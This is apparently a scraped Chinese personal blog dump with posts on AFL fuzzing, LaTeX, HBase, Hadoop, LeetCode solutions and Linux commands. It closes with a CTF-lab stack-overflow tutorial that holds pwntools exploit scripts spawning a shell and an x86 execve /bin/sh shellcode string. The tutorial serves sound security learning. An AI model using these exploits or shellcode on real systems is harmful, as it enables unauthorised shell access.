venv。这个python指向的是python2.7。更多virtulenv的用法见参考文献[8] 安装成功后会有如下界面 测试首先进入python的虚拟环境 1source venv/bin/activate 然后运行 123cd testspython build.pypython -m pytest -n $(nproc) 可以看到如下界面,表示可以成功运行 gcc:5.4.0g++:5.4.0 参考文献[1] https://github.com/secfigo/Awesome-Fuzzing[2] https://github.com/firmianay/CTF-All-In-One/blob/master/doc/5.1_fuzzing.md[3] https://zhuanlan.zhihu.com/p/43432370 fuzzing技术总结[4] http://zeroyu.xyz/2019/05/15/how-to-use-afl-fuzz/ afl使用指南[5] https://www.freebuf.com/articles/system/191536.html AFL漏洞挖掘技术漫谈[6] https://fly8wo.github.io/2018/09/21/AFL-Fuzz%E7%9A%84%E7%AE%80%E5%8D%95%E5%AE%89%E8%A3%85%E4%B8%8E%E7%BC%96%E8%AF%91/ 简单安装和编译[7] https://xz.aliyun.com/t/4314 fuzzing简单测试[8] https://blog.csdn.net/weixin_37773766/article/details/80773590 virtualenv简单介绍","categories":[{"name":"Security","slug":"Security","permalink":"http://yoursite.com/categories/Security/"}],"tags":[{"name":"fuzzing","slug":"fuzzing","permalink":"http://yoursite.com/tags/fuzzing/"},{"name":"AFL","slug":"AFL","permalink":"http://yoursite.com/tags/AFL/"}]},{"title":"latex-basic","slug":"latex-basic","date":"2019-11-29T12:15:07.000Z","updated":"2019-12-03T17:10:52.000Z","comments":true,"path":"2019/11/29/latex-basic/","link":"","permalink":"http://yoursite.com/2019/11/29/latex-basic/","excerpt":"latex学习记录","text":"latex学习记录 0x00 学习环境使用overleaf环境。 中文支持两步操作1) menu –> settings –> compile —> 选择XelaTex2) 添加如下 12\\documentclass{article}\\usepackage[UTF8]{ctex} 一个简单的结构如下在\\documentclass与\\begin{document}之间为导言区,设置真篇文档,一般设置页面大小,页眉页脚样式,章节标题样式。 12345\\documentclass{article}\\usepackage[UTF8]{ctex}\\begin{document}main text1中文\\end{document} 0x01基本命令命令格式以反斜线开头,一般有一下两种格式的命令 无参数\\commandeg: \\songti 我爱latex 有参数\\command [可选参数]{必选参数} 常见命令 命令功能 \\chapter章 \\section节 \\subsection小节 \\paragraph带题头段落 \\centering居中对齐 \\chapter章 \\paragraph带题头段落 \\centering居中对齐 \\emph强调 \\verb原样输出 \\url超链接 \\footnote脚注 \\item列表条目 \\caption标题 \\includegraphics插入图片 \\label标号 \\cite引用参考文献 \\ref引用图表公式等 章\\chapter应用在\\documentclass{book}下面,在\\documentclass{article}不能使用 命令section举例123456\\begin{document}\\section{第一节}正文前方高能\\footnote{我是注脚}前方高能\\footnote{我是注脚2}\\end{document} 0x02 环境格式无参数 123\\begin{environment}环境内容\\end{environment} 有参数 123\\begin{environment}[参数]环境内容\\end{environment} 常见环境 环境功能 \\table表格 \\figure图片 \\equation公式 \\itemize无编号列表 \\enumerate编号列表 环境举例12345\\begin{document}\\begin{equation} a^2-b^2=(a+b)(a-b)\\end{equation}\\end{document} 一个简单的文章结构latex提供了几个层次结构。注意,article中没有chapter 1\\documentclass{article} 其它的如report和book则支持所有的层次。 1234567\\part{...} %Level -1\\chapter{...} %Level 0\\section{...} %Level 1\\subsection{...} %Level 2\\subsubsection{...} %Level 3\\paragraph{...} %Level 4\\subparagraph{...} %Level 5 1234567891011121314\\title{杂谈勾股定理}\\author{张三}\\date{\\today} \\bibliographystyle{plain} \\begin{document} \\maketitle \\tableofcontents \\section{勾股定理在古代}\\section{勾股定理的近代形式}\\bibliography{math}\\end{document} 编译之后显示的文件如下: 参考文献[1] https://github.com/tuna/thulib-latex-talk[2] https://liam.page/2014/09/08/latex-introduction/[3] https://github.com/huangxg/lnotes 雷太赫排版系统","categories":[{"name":"tool","slug":"tool","permalink":"http://yoursite.com/categories/tool/"}],"tags":[{"name":"latex","slug":"latex","permalink":"http://yoursite.com/tags/latex/"}]},{"title":"buileSite-ref","slug":"buileSite-ref","date":"2019-11-27T09:31:58.000Z","updated":"2019-11-27T18:58:24.000Z","comments":true,"path":"2019/11/27/buileSite-ref/","link":"","permalink":"http://yoursite.com/2019/11/27/buileSite-ref/","excerpt":"建立本站参考的文章","text":"建立本站参考的文章 环境 gitnode.jsnext v.7.4.0主题 [1] http://theme-next.iissnan.com/getting-started.html大致流程,命令[2] https://www.cnblogs.com/liuxianan/p/build-blog-website-by-hexo-github.html个性化配置教程[3] https://leomalik.github.io/hexo%E7%9A%84next%E4%B8%BB%E9%A2%98%E4%B8%AA%E6%80%A7%E5%8C%96%E9%85%8D%E7%BD%AE%E6%95%99%E7%A8%8B.html 添加背景图片[4] https://bufsnake.github.io/hexo-next-7-xx%E6%B7%BB%E5%8A%A0%E8%83%8C%E6%99%AF%E5%9B%BE%E7%89%87.html https://asphelzhn.github.io/2018/12/19/hexo/ https://buptccq.top/%E7%94%A8hexo%E6%90%AD%E5%BB%BA%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2.html","categories":[],"tags":[]},{"title":"hbase-base01","slug":"hbase-base01","date":"2019-11-25T11:32:20.000Z","updated":"2019-11-28T04:48:44.000Z","comments":true,"path":"2019/11/25/hbase-base01/","link":"","permalink":"http://yoursite.com/2019/11/25/hbase-base01/","excerpt":"hbase基本知识","text":"hbase基本知识 HBase是一个高可靠,高性能,面向列,可伸缩的分布式数据库,google的BigTable开源实现,主要用来存储非结构化和半结构化的松散数据。 学习版本:HBase1.4 该版本的hadoop版本要求见官网版本要求官方参考文档 0x00下载安装安装 step1:从官网下载hbase-1.4.11-bin.tar.gz版本的文件。解压缩tar -zxvf hba..... step2(可选):为了能够方便使用hbase命令,在/etc/profile中配置环境变量1export PATH=/opt/hadoop-2.7.1/bin:/opt/hbase-1.4.11/bin:${PATH} 使用命令source /etc/profile使之生效。 环境变量配置在~/.bashrc中也可以。 step3:如果所属用户不是root,此时还需要修改hbase文件的权限。 step4:通过命令hbase version可以验证是否安装成功,即可查看吧版本信息。 伪分布式模式配置hbase有三种模式,单机模式使用本地文件系统存储数据,伪分布式和分布式采用HDFS存储数据。参考文献[1]有具体配置方法 配置hbase-env.sh。 配置JAVA_HOME 配置HBASE_CLASSPATH设置为本机hadoop安装目录下的conf目录。eg:export HBASE_CLASSPATH=/opt/hadoop-2.7.1/etc/hadoop 配置HBASE_MANAGES_ZKexport HBASE_MANAGES_ZK=true表示hbase自己管理zookeeper,不需要单独zookeeper。 配置hbase-site.xml设置hbase.rootdir指定HBase数据的存储位置,即在HDFS上的路径设置hbase.cluter.distrubuted为true。 12345678910<configuration> <property> <name>hbase.rootdir</name> <value>hdfs://localhost:9000/hbase</value> </property> <property> <name>hbase.cluster.distributed</name> <value>true</value> </property></configuration> 运行需要先保证hadoop运行,s使用jps查看。bin/start-hbase.sh停止运行stop-hbase.sh进入HBase Shell模式:hbase shell 0x01基本hbase shell命令创建表create不需要创建数据库,直接建表就可,系统默认一个属性作为行键。这里建一个student表,属性在后面跟随 1hbase(main):001:0> create 'student','Sname','Ssex','Sage','Sdept','course' 在创建表的过程中如果有如下错误 1ERROR: org.apache.hadoop.hbase.ipc.ServerNotRunningYetException: Server is not running yet 可以先关闭HBase,然后在hadoop的bin目录下执行hdfs dfsadmin -safemode leave,重启hbase即可。 查看表的基本信息describe使用list查看创建的表。然后describe 'tableName'查看。 添加数据put只能一次添加一个单元格数据,默认表名后面是一个行键 1hbase(main):006:0> put 'student','2019001','Sname','YiJun' 可以继续添加其它单元格数据 1hbase(main):007:0> put 'student','2019001','Ssex','male' 查看数据get这个是查看某一个键值的数据,后面跟表名,键值 1hbase(main):008:0> get 'student','2019001' scan这个是查询某一个表的全部记录 1hbase(main):011:0> scan 'student' 删除数据deleteput命令的逆操作,只删除一个单元格 1hbase(main):012:0> delete 'student','2019001','Ssex' delete all删除某一键值的全部数据 1hbase(main):014:0> deleteall 'student','2019001' 删除表这个需要两步操作。 12disable 'student'drop 'student' 0x02 IDEA编程开发同hadoop一样,可以打包成jar包运行。 1hadoop jar ****.jar 在pom.xml中加入如下12345<dependency> <groupId>org.apache.hbase</groupId> <artifactId>hbase-client</artifactId> <version>1.4.11</version></dependency> 测试如下代码,该资料来源与互联网。代码链接 连接代码12345678configuration = HBaseConfiguration.create();configuration.set("hbase.rootdir","hdfs://localhost:9000/hbase");try{ connection = ConnectionFactory.createConnection(configuration); admin = connection.getAdmin();}catch (IOException e){ e.printStackTrace();} 关闭连接123456789101112public static void close(){ try{ if(admin != null){ admin.close(); } if(null != connection){ connection.close(); } }catch (IOException e){ e.printStackTrace(); } } 建立表123456789101112131415public static void createTable(String myTableName,String[] colFamily) throws IOException { init(); TableName tableName = TableName.valueOf(myTableName); if(admin.tableExists(tableName)){ System.out.println("talbe is exists!"); }else { HTableDescriptor hTableDescriptor = new HTableDescriptor(tableName); for(String str:colFamily){ HColumnDescriptor hColumnDescriptor = new HColumnDescriptor(str); hTableDescriptor.addFamily(hColumnDescriptor); } admin.createTable(hTableDescriptor); } close();} 删表123456789public static void deleteTable(String tableName) throws IOException { init(); TableName tn = TableName.valueOf(tableName); if (admin.tableExists(tn)) { admin.disableTable(tn); admin.deleteTable(tn); } close(); } 查看所有表信息12345678public static void listTables() throws IOException { init(); HTableDescriptor hTableDescriptors[] = admin.listTables(); for(HTableDescriptor hTableDescriptor :hTableDescriptors){ System.out.println(hTableDescriptor.getNameAsString()); } close(); } 参考文献[1] https://www.cnblogs.com/heibaiying/p/11404883.html[2] http://dblab.xmu.edu.cn/post/bigdatapractice/#xiazaizhuanqu","categories":[{"name":"bigdata","slug":"bigdata","permalink":"http://yoursite.com/categories/bigdata/"}],"tags":[{"name":"hbase","slug":"hbase","permalink":"http://yoursite.com/tags/hbase/"}]},{"title":"leetcode","slug":"leetcode","date":"2019-11-21T07:31:37.000Z","updated":"2019-12-17T02:41:00.000Z","comments":true,"path":"2019/11/21/leetcode/","link":"","permalink":"http://yoursite.com/2019/11/21/leetcode/","excerpt":"leetcode做题笔记","text":"leetcode做题笔记 91题题目一条包含字母A-Z的消息通过以下方式进行了编码,给定一个只包含数字的非空字符串,请计算解码方法的总数。‘A’ -> 1 ‘B’ -> 2 … ‘Z’ -> 26题目 解法初看可以通过暴力破解,但是超时。改用动态规划设dp[i]={字符串下标i结尾的解码方法数}。如果不加限制,可以得到dp[i]=dp[i-1]+dp[i-2]此题目有限制:0不能解码,00不能解码,01不能解码。当i,i+1组合的数字不在[1,26],就不用计算dp[i-2]。因此在求解dp[i]的时候需要分情况讨论:需要查看dp[i-1]的值。 注意:以下的加上dp[i-2]的时候都要讨论是否成立(两位字符组成的数字是否在[1.26]) dp[i-1]==0 && dp[i] == 0 return 0。 dp[i-1]==0 && dp[i] != 0 这种情况因为前一位是0,两位数字无法解码,dp[i]=dp[i-1]。 dp[i-1]!=0 && dp[i] == 0 0不能解码。dp[i]=condition{dp[i-2]} dp[i-1]!=0 && dp[i] != 0 dp[i]=dp[i-1]+condition{dp[i-2]} 93复原IP地址题目给定一个只包含数字的字符串,复原它并返回所有可能的 IP 地址格式。 12输入: "25525511135"输出: ["255.255.11.135", "255.255.111.35"] 题目 解法可以使用暴力法来求解。这里我使用回溯求解问题。主要是在这些字符串里面放置三个点,并且每一个点的最多有三位数字先分割第一串,如2(),25(),255()。括号里面的是在下次递归用到的。dfs(vector<string> &re, string temp, string s, int start, int dot)每次在得到一个数字的时候需要判断是否合法,如果不合法,就在这回溯。不合法的时候是不能切割出数字,有前导0,不在0-255这个范围。当dot==0的时候,是到叶子节点了,此时判断切割的数字是否合法。 95不同的二叉搜索树II题目给定一个整数 n,生成所有由 1 … n 为节点所组成的二叉搜索树题目 解法可以使用递归来求解,定义vector<TreeNode*> dfs(int start, int end)求解所有的数字从[start,end]组成的二叉搜索树。分别将[1,n]中的一个节点i当作根节点,那么求得所有的左子树为dfs(start, i-1),求得所有的右子树为dfs(i+1, end)。最后将两个集合分别添加到i的左右子树中。这里有一个边界情况,当start>end的时候子树是一个空树,需要返回。 96 不同的二叉搜索树题目给定一个整数 n,求以 1 … n 为节点组成的二叉搜索树有多少种?题目 解法这里可以使用递归的方法求解,如95题一样。但是可以使用动态规划如下。dp[i]表示i个节点能够组成的不同二叉搜索树的数目,可以得到dp[0]=1(空树),dp[1]=1(单个节点的树)。求解n个节点的时候,可以将[1,n]不同的树分别依次当作跟节点。对于每一个情形下的跟节点,能够组成二叉搜索树的数目等于左子树的个数×右子树的个数。所以有如下推断: 1为跟节点:左子树只有0个节点,右子树有n-1个节点2为跟节点:左子树只有1个节点,右子树有n-2个节点………n为跟节点:左子树只有n-1个节点,右子树有0个节点 得到状态方程:dp[n]=dp[0]*dp[n-1]+dp[1]*dp[n-2]+....+dp[n-1]*dp[0] 97交错字符串题目给定字符串s1,s2,s3,判定s3是否由s1与s2交错组成的。 Input: s1 = “aabcc”, s2 = “dbbca”, s3 = “aadbbcbcac”Output: true 题目 解法动态规划解法。设dp[i][j]=1表示字符串s1的前i个字符与s2的前j个字符能够交错组成s3的前i+j个字符,下标从1开始。一个例子如下s1:aabcc, 长度为5s2:dbbca, 长度为5s3:aadbbcbcac。长度为10可以看到s1的最后一个字符与s3最后一个字符相等,只需要判断s1.substr(0,4),s2,s3.substr(0,9)能否组成交错字符串就行了。因此可以得到如下的状态转移方程dp[i][j]={ if(s1[i]==s3[i+j]) dp[i-1][j] || if(s2[j]==s3[i+j]) dp[i][j+1] }为了方便求解,需要定义空字符串。i=0表示s1是空,只看s2就行了。最后的dp表大致结构(仅仅是举例)如下。计算过程首先要计算dp[i][0]和dp[0][i]。 1234 * 1 2 3 4 * T F1 T2 98验证二叉搜索树题目给定一个二叉树,判断其是否是一个有效的二叉搜索树。二叉搜索树的特征如下:节点的左子树只包含小于当前节点的数。节点的右子树只包含大于当前节点的数。所有左子树和右子树自身必须也是二叉搜索树。题目 解法可以使用递归解法,对于当前的节点,先判断它的左节点是否小于它本身,右节点是否大于该节点的值,但是这里却不能保障右节点的子树中出现比该节点小的值,如下的一棵树。可以保障每一个节点符合二叉搜索树要求(左节点小于根节点&&右节点大于根节点)。但是6小于10。不符合要求。所以我们在递归的时候需要传递一个最大值,最小值判断当前的根节点是否符号要求。特别需要注意int数据的范围。bool helper(TreeNode* root, long long min, long long max)对此,需要传递参数min和max,判定当前节点是否符合区间要求,如果不符合,就返回false。如果当前节点符合区间要求,就分别递归左右子树,同时传递新的区间给下面。区间传递原则:对于一个节点的左子树,它的值最大是该节点本身所以有leftB=helper(root->left, min, root->val),对于右子树,它的所有节点最小值是该节点本身,所以有rightB=helper(root->right, root->val, max)。 76最小覆盖子串题目给你一个字符串 S、一个字符串 T,请在字符串 S 里面找出:包含 T 所有字母的最小子串。 12Input: S = "ADOBECODEBANC", T = "ABC"Output: "BANC" 题目 解法1) 思路:这里使用滑动窗口求解。思路是这样的,先扩大再收缩,如所给例子中,left,right分别代表窗口的两端。第一次扩大窗口,直到窗口里面包含有字符串T,此时为[0,5]。然后进行收缩,从左边开始,结束的条件是窗口中不包含字符串T的字母,此时为[1,5]。第二次向右开始扩大窗口,知道再次包含T,此时为[1,10]。然后进行收缩,left移动,直到窗口中不在包含T,此时为[6,10]。第三次右扩,此时为[6,12],包含右T。然后收缩,变为[10,12]。无法右扩,结束。2) 需要解决的问题:如何判断字符串S中包含T:用Map<char, int>来存储T,表示T中的每一个字符的个数。cnt表示窗口中包含的字符种类数,右扩的时候,遍历S的时候,遇到字符ch,如果ch再map中存在,map[ch]减一,如果等于0了,表示该字符已经得到(cnt++),cnt==map_size()说明已经包含T了。左收缩的时候,遇到S中的字符时,就map[ch]–,如果等于1,说明该S中刚好没有包含T。3) 滑动窗口求解框架 12345678910111213141516初始化窗口//开始滑动窗口while (left <= right && left < s.length()-1 && right < s.length()-1) { //右窗口扩展 while (cnt < lens && right < s.length()) { right++; 进行有关判断条件 } //左窗口收缩 while (cnt == lens && left < s.length()) { if(无法收缩了){ 记录当前值 } left++; }} 239 滑动窗口最大值题目给定一个数组nums,有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧,你只可以看到在滑动窗口内的 k 个数字。滑动窗口每次只向右移动一位。返回滑动窗口中的最大值。题目 解法1这个题目的关键是找到每个窗口的最大值,一个有效的办法是用一个类似于二叉搜索树这样的数据结构,方便插入和删除,同时也能保持数值有序,STL模板中的multiset提供这样一个功能,内部使用红黑树实现,每一次插入和删除保持数据有序,最大值可以通过*mulset.rbegin()获得。因此可以用这个数据结构模拟窗口滑动过程即可。需要注意的是erase(val)是删除所有符合val的值,因此需要使用迭代器来删除数据。 解法2使用一个双端队列来完成,队列deque的队首保存当前窗口中的最大值,re中保存结果。队列需要保存的是数组的索引。测试用例是nums = [1,3,-1,-3,5,3,6,7],和k = 3,具体操作见如下:第一步,遍历到第一个值的时候,进入双端队列deque。队首元素是当前最大值(保存索引) 第二步:遍历到第二个值,3大于当前队首的值,所以当前窗口最大值不是双端队列的元素,因此队首元素出栈,将3从队首插入。 第三步:遍历到第三个值,-1比队首值小,但是它有可能成为接下来窗口的最大值,因此从队尾插入。此时达到了窗口大小,将队首元素插入到结果集中。 第四步:继续遍历,窗口发生移动,检查队首元素下标还在当前窗口,-3有可能成为最大值,从队尾插入。窗口移动过程中产生一个最大值,即队首元素保存到结果集中 第五步: 继续遍历,移动窗口,当前元素为5,但是双端队列中一些元素不在当前窗口,因此将清理无效数据,队首元素从队首出队。又当前元素为5,与队首比较,大于-1,队首-1出栈,继续比较直到队首元素大于5或者为空。该算法框架如下: 1234567891011121314151617181920212223242526public int[] maxSlidingWindow(int[] a, int k) { if (a == null || k <= 0) { return new int[0]; } int n = a.length; int[] r = new int[n-k+1]; int ri = 0; // store index Deque<Integer> q = new ArrayDeque<>(); for (int i = 0; i < a.length; i++) { // remove numbers out of range k while (!q.isEmpty() && q.peek() < i - k + 1) { q.poll(); } // remove smaller numbers in k range as they are useless while (!q.isEmpty() && a[q.peekLast()] < a[i]) { q.pollLast(); } // q contains index... r contains content q.offer(i); if (i >= k - 1) { r[ri++] = a[q.peek()]; } } return r; }","categories":[{"name":"algorithm","slug":"algorithm","permalink":"http://yoursite.com/categories/algorithm/"}],"tags":[{"name":"leetcode","slug":"leetcode","permalink":"http://yoursite.com/tags/leetcode/"}]},{"title":"hadoop01--basic","slug":"hadoop01-basic","date":"2019-11-14T11:51:20.000Z","updated":"2020-01-09T02:08:49.211Z","comments":true,"path":"2019/11/14/hadoop01-basic/","link":"","permalink":"http://yoursite.com/2019/11/14/hadoop01-basic/","excerpt":"hadoop2.7.1入门之基本命令","text":"hadoop2.7.1入门之基本命令 hadoop安装Hadoop基本命令idea环境下的开发 0x00安装环境: hadoop:2.7.2java:1.8.0_181maven:3.6.1IDEA:2018.03 安装过程将给出的文档。https://hadoop.apache.org/docs/r2.7.2/hadoop-project-dist/hadoop-common/SingleCluster.html#Pseudo-Distributed_Operation http://dblab.xmu.edu.cn/blog/install-hadoop/ 安装完成后可以通过web界面查看http://106.14.124.205:50070 0x01基本命令创建文件夹1hadoop fs -mkdir -p /class4 hadoop fs 官方命令 查看列表12hadoop fs -ls [-d] [-h] [-R] <args>eg: hadoop fs -ls / hadoop ls 官方命令 本地上传文件至hdfs系统12Usage: hadoop fs -copyFromLocal <localsrc> URIhadoop fs -copyFromLocal hdfs2local.txt /class4/hdfs2local.txt 还有另外一个命令 12Usage: hadoop fs -put <localsrc> ... <dst>hadoop fs -put test.txt /class4 hdfs系统下载文件到本地文件系统1hadoop fs -get /class4/test.txt /opt/download hdfs系统内部文件的复制从一个目录复制到另外一个目录 1hadoop fs -cp /class4/test.txt /input1 hdfs删除文件或者目录1234Usage: hadoop fs -rm [-f] [-r |-R] [-skipTrash] URI [URI ...]The -f option will not display a diagnostic message or modify the exit status to reflect an error if the file does not exist.The -R option deletes the directory and any content under it recursively.The -r option is equivalent to -R. 一个示例:hadoop fs -rm /user/hadoop/emptydir 0x02 idea开发环境配置建议使用mavaen3.6.1,不然会报错。一个测试例子如下: 12345678910111213141516public static void main(String[] args) { String fileName = "/class4/test.txt"; Configuration conf = new Configuration(); conf.set("fs.defaultFS", "hdfs://localhost:9000"); conf.set("fs.hdfs.impl", "org.apache.hadoop.hdfs.DistributedFileSystem"); try { FileSystem fs = FileSystem.get(conf); if(fs.exists(new Path(fileName))){ System.out.println("文件存在"); }else{ System.out.println("文件不存在"); } } catch (IOException e) { e.printStackTrace(); } } 普通的java项目开发 这里的开发环境是本地win10,hadoop集群在linux系统上。ctrl+alt +t生成try-catch代码 step1: 新建java工程,导入jar包(根据需要选择)。 step2: 建立java源文件,进行代码编写。 step3: 将项目导出jar包,具体步骤见参考文献[2]。不要选择empty. step4: 将jar包上传至linux系统上。 step5: 运行命令执行jar包 12hadoop jar hadoopEnvTest.jarhadoop jar hadoopEnvTest.jar isExist 注意:使用这种jar包运行方式的时候,需要在命令后面指定主类方法,不然出现错误RunJar jarFile [mainClass] args... build -> build artifacts -> rebuilds 重新生成jar包。Tool -> deployment -> configuration -> stfp配置右击jar -> deployment -> unload.. 使用maven开发 step1: 新建maven工程。 step2: 修改pom文件,见附录1 step3: 导出jar包,参考文献[2] step4: jar包上传至linux系统。 step5: 运行jar包,同普通项目一样。 附录附录11234567891011121314151617181920212223242526272829303132333435<groupId>com.yijun.hadoopMaven</groupId> <artifactId>hadoopEnvMav</artifactId> <version>1.0-SNAPSHOT</version> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <hadoop.version>2.7.1</hadoop.version> </properties> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.8.2</version> </dependency> <dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-client</artifactId> <version>${hadoop.version}</version> </dependency> <dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-common</artifactId> <version>${hadoop.version}</version> </dependency> <dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-hdfs</artifactId> <version>${hadoop.version}</version> </dependency> </dependencies> 然后在src/main/resources目录下,新建一个文件,命名为log4j.properties,文件中填入如下: 12345678log4j.rootLogger=INFO, stdoutlog4j.appender.stdout=org.apache.log4j.ConsoleAppenderlog4j.appender.stdout.layout=org.apache.log4j.PatternLayoutlog4j.appender.stdout.layout.ConversionPattern=%d %p [%c] - %m%nlog4j.appender.logfile=org.apache.log4j.FileAppenderlog4j.appender.logfile.File=target/spring.loglog4j.appender.logfile.layout=org.apache.log4j.PatternLayoutlog4j.appender.logfile.layout.ConversionPattern=%d %p [%c] - %m%n 参考文献[1] https://www.shiyanlou.com/courses/237/learning/?id=1032[2] https://blog.csdn.net/ouyang111222/article/details/73105086","categories":[{"name":"bigdata","slug":"bigdata","permalink":"http://yoursite.com/categories/bigdata/"}],"tags":[{"name":"hadoop","slug":"hadoop","permalink":"http://yoursite.com/tags/hadoop/"}]},{"title":"linuxcmd","slug":"linuxcmd","date":"2019-11-14T02:08:47.000Z","updated":"2019-12-07T04:08:42.000Z","comments":true,"path":"2019/11/14/linuxcmd/","link":"","permalink":"http://yoursite.com/2019/11/14/linuxcmd/","excerpt":"本人常用的linux命令收藏","text":"本人常用的linux命令收藏 0x00工具类查看二进制文件od不加任何参数是以八进制形式输出二进制 十六进制查看加上x是以十六进制输出,小端形式 12od -x textod -w1 -x text #每列只输出一个 查看执行程序的所有者whoami可以查看运行程序是哪一个所属组权限,即查看euid。 0x01权限类root权限的setuidsetuid是系统的一个标志位,可执行性文件设置setuid位后,操作系统会赋予文件所有者的权限。设置方法chmod u+s fileName或者chmod 4755 fileName 0x02系统调用execve函数函数原型:int execve(const char *pathname, char *const argv[], char *const envp[]);头文件:#include <unistd.h>用法: filename:程序所在的路径argv:传递给程序的参数,数组指针argv必须以程序(filename)开头,NULL结尾envp:传递给程序的新环境变量,无论是shell脚本,还是可执行文件都可以使用此环境变量,必须以NULL结尾 示例: 12345char *data[2];char sh[]= "/bin/sh";data[0] =sh;data[1] = NULL;execve(sh, data, NULL); 0x03实用脚本循环移动文件for i in *.src; do mv $i src/$i; done移动所有.src结尾的文件到src目录下面","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/tags/linux/"},{"name":"gcc","slug":"gcc","permalink":"http://yoursite.com/tags/gcc/"}]},{"title":"stack-overflow-eg","slug":"stack-overflow-eg","date":"2019-11-04T13:14:22.000Z","updated":"2019-11-27T18:18:32.000Z","comments":true,"path":"2019/11/04/stack-overflow-eg/","link":"","permalink":"http://yoursite.com/2019/11/04/stack-overflow-eg/","excerpt":"栈溢出基础入门实例这是一个简单的栈溢出实例,来自i春秋。","text":"栈溢出基础入门实例这是一个简单的栈溢出实例,来自i春秋。 前一篇文章docker-IDAPro 0x00 基础知识这是一个32位的程序。x86的通用寄存器是eax,ebx,ecx,ebp,esp,esi,edix86体系调用过程见[4] call指令call function在x86下的功能 12push IP #保存返回地址mov IP, [function] #修改IP leave指令leave指令是调整栈帧的 12mov esp, ebp #sp指向bppop ebp #返回原来的bp ret指令x86下是修改EIP用的 1pop eip 0x01 函数调用过程分析将hello文件上传到linux系统,参考文献[3]。下面是hello函数的伪代码在x86下函数调用是cdecl调用约定,参数从右到左以此压入栈。 123gdb hello(gdb) b main(gdb) start call hello前的情况此时的栈情况如下所示 进入hello函数调用call指令其实是push IP #保存返回地址与mov IP, [function] #修改IP两条指令此时栈的情况如下所示可以看一下hello函数的代码 产生新的栈帧通过函数的前两句指令,新的栈帧产生,此时栈的情况如下所示然后在栈帧中进行函数的功能操作,可以随着函数的执行,栈一直在生长(sp会减小),停留下来看read函数的执行。 read函数的情形可以看到read执行的时候,读取的值保持在地址0xffffd656处。栈一直生长,此时看到的栈如下所示 leave前,退出hello函数前的情况hello函数主体功能已经完成,需要销毁栈帧,回退到调用之前的栈状态。此时的栈情况如下 leave后leave指令的作用 12mov esp, ebp #sp指向bppop ebp #返回原来的bp 此时栈的情况如下可以看到,此时的栈的bp已经回到了调用之前的栈底,栈顶元素就是返回地址。然后执行pop ip修改IP位当前栈顶元素,从而实现程序跳转到原来的main函数。然后可以进行出栈操作可以恢复现场,这些参数存储着原来的值。 0x01 漏洞利用原理从read函数情形那里可以看出,输入的数据保存在地址0xffffd656处。而保存的返回IP地址在0xffffd66c,我们只要覆盖0xffffd66c处的值(这里是保存的IP值,修改之后便能跳转)。两者的距离是0xffffd66c-0xffffd656=0x16所以输入A*0x16+一个地址就能达到覆盖返回地址的值,实现程序跳转。这个程序在地址0x0804846B处有一个后门,是一个叫getshell的函数 0x02 pwntools与docker环境的复现 step1: 端口转发 1socat tcp-listen:10001,reuseaddr,fork EXEC:./hello,pty,raw,echo=0 step2: 本地主机上打开python依次执行下面命令 12345from pwn import *io=remote("172.17.0.2",10001)payload=22*'A'+p32(0x804846b)io.send(payload)io.interactive() step3: 获得shell可以看到如下情况 0x03 pwntools在本地主机复现这里不通过端口转发,直接在本地环境上实验在本地主机上写上如下脚本exploit.py 12345from pwn import *p = process('./hello')payload = 'A'*22+p32(0x0804846b)p.sendline(payload)p.interactive() 运行脚本python exploit.py可以看到如下情况 0x04 python输出十六进制字符这里的python是值python2,python3会因为编码默认位utf-8编码,所以不会产生预期的结果,需要设置编码。 输出十六进制字符1python -c 'print(22*"A"+"\\x6b\\x84\\x04\\x08")' > text 注意,这种方式末尾有一个换行符因此,可以使用下面的gen.py生产我们的十六进字符,f.write()不会添加自动换行。 1234f = open('text','w')s = "\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80"f.write(s)f.close() 使用命令运行python gen.py就可以得到我们的text文件。可以进行(gdb) run < text调试 以十六进制格式查看文件12345678910111213from __future__ import print_functionf = open('text','rb')n = 0;s = f.read(1)while s: byte = ord(s) n = n+1 print('0x%02x,'%(byte),end='') if n%16==0: print('') s = f.read(1)print('\\n\\ntotal bytes: %d'%n)f.close() 0x05转发调试这个是为了方便输入一些不可见字符,方便gdb调试。 step1:将程序的IO端口利用socat进行转发 step2: 使用gdb attach pid进行附加调试 step3: 使用pwntools进行调试,同0x02。 0x06拓展_栈溢出利用的技巧我们主要的目标是覆盖返回地址,控制程序流程。这里的知识笔记来自于参考文献[6]。一些常用的覆盖技术如下:修改栈中的返回地址,指向栈中的一段数据指令(shellcode)修改栈中的返回地址,指向内存中已有的某个函数(return2libc)修改栈中的返回地址,其指向内存中已有的一段指令(ROP)修改某个被调用函数的地址,其指向另一个函数(hijack GOT) shellcode前提:栈上的数据有执行权限。这种利用方法的栈情况如下(图片来源于参考文献[6]),红色部分就是要构造的payload。这里有两个关键的问题需要解决: Q1:覆盖到返回地址之前的padding1长度如何获知?A1:使用gdb调试工具查看汇编代码获得,本文上面部分0x01;运行过程中输入不同的”AAA”进行试探;使用idaPro反汇编功能。 Q2:shellcode的起始地址如何确定?A1:padding2填充若干的”\\x90”(nop),增大命中几率。 return2libc一个简单的示例是条用system()函数打开shell,system(“/bin/sh)。padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址[6]。 ROP目标函数在内存内无法找到,在内存中寻找多个指令片段,拼凑出一系列操作来达成目的。执行某段指令(称为“gadget”)。上图是一个当个gadget数据的情况。连续执行若干段指令,就需要每个 gadget 执行完毕可以将控制权交给下一个 gadget。[7] 对于前置的docker环境搭建和调试代码,可参考文献[2] 参考文献[1] https://mp.weixin.qq.com/s/r4F_b5wUVluZkgLMHb574Q[2] https://rj45mp.github.io/2019/08/07/i春秋linux-pwn入门教程复现之栈溢出基础/[3] https://pan.baidu.com/s/10nqi8s-hkjqIt4RTl869nw 环境和代码(porf)[key 